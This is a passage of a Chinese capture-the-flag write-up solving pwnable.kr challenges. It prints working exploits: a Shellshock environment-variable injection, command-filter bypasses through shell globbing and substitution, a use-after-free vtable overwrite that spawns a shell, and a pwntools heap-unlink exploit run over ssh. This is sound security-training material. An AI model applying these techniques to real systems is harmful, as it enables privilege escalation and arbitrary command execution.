bx r6在r6地址处切换成thumb模式。在thumb模式下pc = 当前地址+4。
r0 =r3 = 0x00008d04 +4+4= 0x00008d0c

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>: add r11, sp, #0
   0x00008d28 <+8>: mov r3, lr
   0x00008d2c <+12>:    mov r0, r3
   0x00008d30 <+16>:    sub sp, r11, #0
   0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx  lr
End of assembler dump.
(gdb) 

r0等于lr即key3()函数的返回地址0x00008d80。

这三个数相加后结果为 0x0001a770 = 108400(d) 。

My daddy has a lot of ARMv5te muscle!

0x09 mistake

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;       
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

  • 关键在于:

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

  • < 优先级高于赋值优先级,open("/home/mistake/password",O_RDONLY,0400) 肯定大于0,比较之后fd=0,相当于从标准输入中读取

输入000000000,fd指向的内容,然后输入1111111111,与逐位与1异或后,结果是0000000000,得到flag: Mommy, the operator priority always confuses me :(

0x10 shellshock

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}
  • 其中:
  1. int setreuid(uid_t ruid, uid_t euid);

setreuid()用来将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码. 如果参数ruid 或euid 值为-1, 则对应的识别码不会改变。

  1. gid_t getegid(void);

getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

简单来说呢就是设置了下以后使用system函数打开的bash所属当前进程的组,会继承当前的这个环境变量

shellshock@ubuntu:~$ ls -al
total 980
drwxr-x---  5 root shellshock       4096 Oct 23  2016 .
drwxr-xr-x 80 root root             4096 Jan 11 23:27 ..
-r-xr-xr-x  1 root shellshock     959120 Oct 12  2014 bash
d---------  2 root root             4096 Oct 12  2014 .bash_history
-r--r-----  1 root shellshock_pwn     47 Oct 12  2014 flag
dr-xr-xr-x  2 root root             4096 Oct 12  2014 .irssi
drwxr-xr-x  2 root root             4096 Oct 23  2016 .pwntools-cache
-r-xr-sr-x  1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r--  1 root root              188 Oct 12  2014 shellshock.c
-r-xr-sr-x  1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r-----  1 root shellshock_pwn     47 Oct 12  2014 flag

我们注意到这个shellsock和flag属于一个用户组,所以说使用当前这个可执行文件就可以cat到flag的内容,所以我们构造输入:

  • shellshock中文来说就是破壳漏洞,就是由于用户可以控制环境变量参数,然后在新打开的shell中会把一些环境变量参数当作命令来执行。
env x='() { :;}; /bin/cat flag' ./shellshock

only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault

0x11 coin

ubuntu@VM-74-222-ubuntu:~$ nc pwnable.kr 9007

    ---------------------------------------------------
    -              Shall we play a game?              -
    ---------------------------------------------------
    
    You have given some gold coins in your hand
    however, there is one counterfeit coin among them
    counterfeit coin looks exactly same as real coin
    however, its weight is different from real one
    real coin weighs 10, counterfeit coin weighes 9
    help me to find the counterfeit coin with a scale
    if you find 100 counterfeit coins, you will get reward :)
    FYI, you have 30 seconds.
    
    - How to play - 
    1. you get a number of coins (N) and number of chances (C)
    2. then you specify a set of index numbers of coins to be weighed
    3. you get the weight information
    4. 2~3 repeats C time, then you give the answer
    
    - Example -
    [Server] N=4 C=2    # find counterfeit among 4 coins with 2 trial
    [Client] 0 1        # weigh first and second coin
    [Server] 20         # scale result : 20
    [Client] 3          # weigh fourth coin
    [Server] 10         # scale result : 10
    [Client] 2          # counterfeit coin is third!
    [Server] Correct!

    - Ready? starting in 3 sec... -

100组30秒,在它的服务器上运行,主要是考察网络编程

    # coding: utf-8  
    from socket import*  
    import random  
    import time  
    HOST='0.0.0.0'  
    PORT=9007  
    #建立socket对象  
    client=socket(AF_INET,SOCK_STREAM)  
    #AF_INET表示将使用标准的ipv4地址或主机名  
    #SOCK_STREAM说明这是一个TCP客户端  
          
    client.connect((HOST,PORT))#连接  
    data = client.recv(1024)  
    time.sleep(4)  
    for i in range(100):  
        data = client.recv(1024)#接收数据  
        int_cnt=data.find('N=')+2 #int_cnt用于找到N,C  
        N=0  
        C=0  
        while True:       
            N+=int(data[int_cnt])  
            int_cnt+=1  
            if data[int_cnt]==' ':  
                break  
            N*=10  
        int_cnt=data.find('C=')+2  
        while True:       
            C+=int(data[int_cnt])  
            int_cnt+=1  
            if data[int_cnt]<'0' :  
                break  
            if data[int_cnt]>'9' :  
                break  
            C*=10  
        print 'get N=%d'%N,'get C=%d'%C#打印N,C  
        left=0  
        right=N-1  
        mid=(left+right)/2#二分  
        for i in xrange(C):#C次询问   
            str_ask=[str(n) for n in xrange(left,mid+1)]  
            str_ask=" ".join(str_ask)#构造要询问的硬币  
            client.send(str_ask+"\n")#发送数据  
            str_weight=client.recv(1024)#接收数据  
            str_weight.split("\n")  
            int_weight=int(str_weight)  
            print "int_weight = ",int_weight,"l=%d mid=%d r=%d"%(left,mid,right)  
            if int_weight!=((mid-left+1)*10):  
                right=mid  
                mid=(right+left)/2  
            else:  
                left=mid+1  
                mid=(left+right)/2  
        client.send(str(mid)+"\n")  
        ans=client.recv(1024)  
        print "ans=",ans  
    ans=client.recv(1024)#flag  
    print "ans=%s"%ans      
    client.close()    
    

flag:b1NaRy_S34rch1nG_1s_3asy_p3asy

0x12 blackjack

一个类似于21点的游戏,关键点在

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }

要求达到100w的赌资,我们直接传进去一个-100w,故意输就好

flag:YaY_I_AM_A_MILLIONARE_LOL

0x13 lotto

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

/dev/urandom中读取6个字节,这个文件是Linux下根据系统熵产生的随机数,然后后边的操作实际上是限定了assic <=45,并且lotto的6个数值都相等,尝试即可得到答案。

flag: sorry mom... I FORGOT to check duplicate numbers... :(

0x14 cmd1

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

main 函数所进行的操作是首先把环境变量设置为/fuckyouverymuch,导致/bin/下的命令无法直接使用

strstr(str1,str2)是指的是判断str2是否是str1的子串,是的话返回首次出现的位置,否则返回null

所以就是说不能包含flag sh tmp等字符,但是可以考虑使用星号来补全,我们提交./cmd1 "/bin/cat fla*"

flag:mommy now I get what PATH environment is for :)

0x15 cmd2

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

路径cd到根目录,使用pwd得到/,加一个“$”,而且最外面加一个单引号,作用是在传递的时候告诉程序这是一个单一字符串,不能解释里面的内容。否则在传参阶段就被解释,在filter哪里就会被滤掉了。

cmd2@ubuntu:/$ ./home/cmd2/cmd2  '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""' 
""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""
FuN_w1th_5h3ll_v4riabl3s_haha

0x16 uaf

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;   
}
  • UAF: (Use After Free 漏洞)

UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

  • UAF错误的原因:

(1)导致程序出错和发生异常的各种条件
(2)程序负责释放内存的指令发生混乱
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为悬空指针)

  • UAF漏洞的利用:

(1)先搞出来一个悬空指针
(2)精心构造数据填充被释放的内存区域
(3)再次使用该指针,让填充的数据使eip发生跳转。

  • 堆的特性

在回收掉一个block后,如果新的malloc大小比之前的block小或者恰好相等,那么堆会优先分配最近一次free的block给malloc。因此,这里只需要malloc也就是new的字段大小恰好登录Human的大小,就能够成功的改写其中的内容。

---- 整体思路是这样的:

1.首先调用delete函数释放掉两个对象的空间
2.然后使用传给main函数的argv参数,分配空间给新的函数
3.用give_shell函数去覆盖掉introduce()的地址,选择选项1,可得到shell。

首先查看虚表中函数的地址:


image

发现 introduce(0000000000401598) = give_shell(0000000000401590) + 8

查看main函数为两个human对象分配了多少空间:


image

分配了24字节,这样的话我们等会构造也用24字节

  • 我们可以看到这两个创建的对象的虚表指针,他们的虚函数表都是继承自父类,并且重写了introduce方法,这里我们使用0x401570这个地址,这个地址实际上是虚表的指针,初始指向虚表的首项,而后边红色的地址则是这个虚函数实际的地址:
    image
  • 我们可以看到调用introduce函数的时候实际上时使用了eax+8来指向虚表中的地址,eax本来存的是0x401570这个地址,那么我们构造的时候,只需要把introduce这个函数的地址复写为give_shell函数的地址即可,,所以我们使用0x401570-8来构造(0x401568)


    image

我猜测图中的两个giveshell函数的虚表指针分别是属于创建的两个对象的,我们无论用哪个都可以。

delete m;
delete w;

m->introduce();
w->introduce();

我们注意到delete的顺序是先m后w,所以最先分配的是w释放的地址,然后再分配m,但是调用的时候我们是先调用m,再调用w,所以就需要free后两次分配空间。即可得到shell。

python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > in

root@kali:/home/uaf# ./uaf 24 ./in
3
2
2
1
#

flag:yay_f1ag_aft3r_pwning

0X20 unlink

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}
  • 典型的unlink利用,但是unklink之后并没有调用函数,和经典的用shell code去覆盖写free@got表不同,查看反汇编代码:
Dump of assembler code for function main:
   0x0804852f <+0>: lea    ecx,[esp+0x4]
   0x08048533 <+4>: and    esp,0xfffffff0
   0x08048536 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048539 <+10>:    push   ebp
   0x0804853a <+11>:    mov    ebp,esp
   0x0804853c <+13>:    push   ecx
   0x0804853d <+14>:    sub    esp,0x14
   0x08048540 <+17>:    sub    esp,0xc
   0x08048543 <+20>:    push   0x400
   0x08048548 <+25>:    call   0x80483a0 <malloc@plt>
   0x0804854d <+30>:    add    esp,0x10
   0x08048550 <+33>:    sub    esp,0xc
   0x08048553 <+36>:    push   0x10
   0x08048555 <+38>:    call   0x80483a0 <malloc@plt>
   0x0804855a <+43>:    add    esp,0x10
   0x0804855d <+46>:    mov    DWORD PTR [ebp-0x14],eax
   0x08048560 <+49>:    sub    esp,0xc
   0x08048563 <+52>:    push   0x10
   0x08048565 <+54>:    call   0x80483a0 <malloc@plt>
   0x0804856a <+59>:    add    esp,0x10
   0x0804856d <+62>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048570 <+65>:    sub    esp,0xc
   0x08048573 <+68>:    push   0x10
   0x08048575 <+70>:    call   0x80483a0 <malloc@plt>
   0x0804857a <+75>:    add    esp,0x10
   0x0804857d <+78>:    mov    DWORD PTR [ebp-0x10],eax
   0x08048580 <+81>:    mov    eax,DWORD PTR [ebp-0x14]
   0x08048583 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x08048586 <+87>:    mov    DWORD PTR [eax],edx
   0x08048588 <+89>:    mov    edx,DWORD PTR [ebp-0x14]
   0x0804858b <+92>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804858e <+95>:    mov    DWORD PTR [eax+0x4],edx
   0x08048591 <+98>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048594 <+101>:   mov    edx,DWORD PTR [ebp-0x10]
   0x08048597 <+104>:   mov    DWORD PTR [eax],edx
   0x08048599 <+106>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0804859c <+109>:   mov    edx,DWORD PTR [ebp-0xc]
---Type <return> to continue, or q <return> to quit---
   0x0804859f <+112>:   mov    DWORD PTR [eax+0x4],edx
   0x080485a2 <+115>:   sub    esp,0x8
   0x080485a5 <+118>:   lea    eax,[ebp-0x14]
   0x080485a8 <+121>:   push   eax
   0x080485a9 <+122>:   push   0x8048698
   0x080485ae <+127>:   call   0x8048380 <printf@plt>
   0x080485b3 <+132>:   add    esp,0x10
   0x080485b6 <+135>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485b9 <+138>:   sub    esp,0x8
   0x080485bc <+141>:   push   eax
   0x080485bd <+142>:   push   0x80486b8
   0x080485c2 <+147>:   call   0x8048380 <printf@plt>
   0x080485c7 <+152>:   add    esp,0x10
   0x080485ca <+155>:   sub    esp,0xc
   0x080485cd <+158>:   push   0x80486d8
   0x080485d2 <+163>:   call   0x80483b0 <puts@plt>
   0x080485d7 <+168>:   add    esp,0x10
   0x080485da <+171>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485dd <+174>:   add    eax,0x8
   0x080485e0 <+177>:   sub    esp,0xc
   0x080485e3 <+180>:   push   eax
   0x080485e4 <+181>:   call   0x8048390 <gets@plt>
   0x080485e9 <+186>:   add    esp,0x10
   0x080485ec <+189>:   sub    esp,0xc
   0x080485ef <+192>:   push   DWORD PTR [ebp-0xc]
   0x080485f2 <+195>:   call   0x8048504 <unlink>
   0x080485f7 <+200>:   add    esp,0x10
   0x080485fa <+203>:   mov    eax,0x0
   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave  
   0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret    
End of assembler dump.

可以看到A在stack上的位置ebp-0x14,而利用的关键点在与最后的ret指令,思路是可以通过unlink操作,将shellcode写入stack上特定的位置,使得ret指令执行后就执行shellcode。

  • 首先我们看到ret之前lea esp,[ecx-0x4]而ecx=ebp-0x4,DWORD PTR []表示[]里面的数据是一个双字型数据,比如mov eax, dword ptr [12345678] 把内存地址12345678中的双字型(32位)数据赋给eax.所以stack A和要控制到的位置差了0x10
  • 32bit下,指针类型大小是4字节,A的结构为FD(4)BK(4)BUF(8),所以shellcode的地址设置为heap A + 8,又因为esp = ecx - 4
Stack: 
 
| low 
|
| stack A(ebp-0x14)
| 
| ecx - 0x4  // ebp-0x04处的值再减去0x04=esp,ret执行此处代码 
| ebp - 0x4 (ecx) // 把ebp-0x04处的32位值赋给ecx
| ebp
|
| high
  • 所以shellcode+4+4的地址 = ebp-0x04处的值, 由于是unlink的B
  • unlink() 所作的就是:
  1. (B->fd)->bk=B->bk
  2. (B->bk)->fd=B->fd

因为 OBJ 结构体的第一个成员就是fd,所以上式

```
*(*B+4) = *(B+4) 
**(B+4) = *B 
```   

如果要利用unlink来覆盖返回地址,则B的布局应该是这样的

+-------------------+-------------------+
|stack[return addr] |     addr shell    |
+-------------------+-------------------+
|               padding                 |
+---------------------------------------+

这样在执行B->fd->bk = B->bk就完成了覆盖main的返回地址。But,执行B->bk->fd = B->fd这一段的时候,[addr shell]则会落入不可读写的地址,造成程序段错误。

如果覆盖后的B的fd是stack + 12,bk是heap+8,在执行unlink操作的时候会把heap+8处覆盖为栈上的内容从而覆盖掉shellcode的地址

  • A的栈位置+0x10=[ebp-0x4]=ecx=shellcode+0x4=(A的堆位置+0x8)+0x4=A的堆位置+0xC
+-------------------+-------------------+  <- heap addr[A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|     shell addr    |      AAAA         |
+---------------------------------------+
|              AAAAAAAA                 |
+---------------------------------------+  <- [B]
|     heap + 12     |     stack + 16    |
+-------------------+-------------------+

EXP:

from pwn import *

shell_addr = 0x080484eb
s = ssh(host='pwnable.kr',
port=2222,
user='unlink',
password='guest',
)

p =s.process('./unlink')
p.recvuntil('here is stack address leak: ')
stack_addr = int(p.recv(10),16)
p.recvuntil('here is heap address leak: ')
heap_addr = int(p.recv(10),16)
payload = p32(shell_addr) + 'a'*12 +p32(heap_addr + 12) +p32(stack_addr+0x10)
p.send(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,012评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,589评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,819评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,652评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,954评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,381评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,687评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,404评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,082评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,355评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,880评论 1 255
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,249评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,864评论 3 232
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,007评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,760评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,394评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,281评论 2 259

推荐阅读更多精彩内容

  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 7,664评论 0 27
  • 参考文章: 关于heap overflow的一些笔记 by ETenal [CTF]Heap vuln -- u...
    BJChangAn阅读 2,607评论 2 5
  • pwntools简单语法 作为最好用的pwn工具,简单记一下用法: 连接:本地process()、远程remote...
    SueLyon阅读 23,693评论 3 38
  • 1,需求分析: (1)宣传需求 炒栗店需要网络推广,扩大辐射半径,提高影响力。将线上流量转化成线下顾客。 (2)销...
    乾西西阅读 83评论 0 0
  • 人的满足感和成就感其实是我们做事情很重要的动力。 一年坚持做一件事,自律精神那么好的吴军老师也都感慨硅谷来信的一年...
    小苹果搞事情阅读 68评论 0 0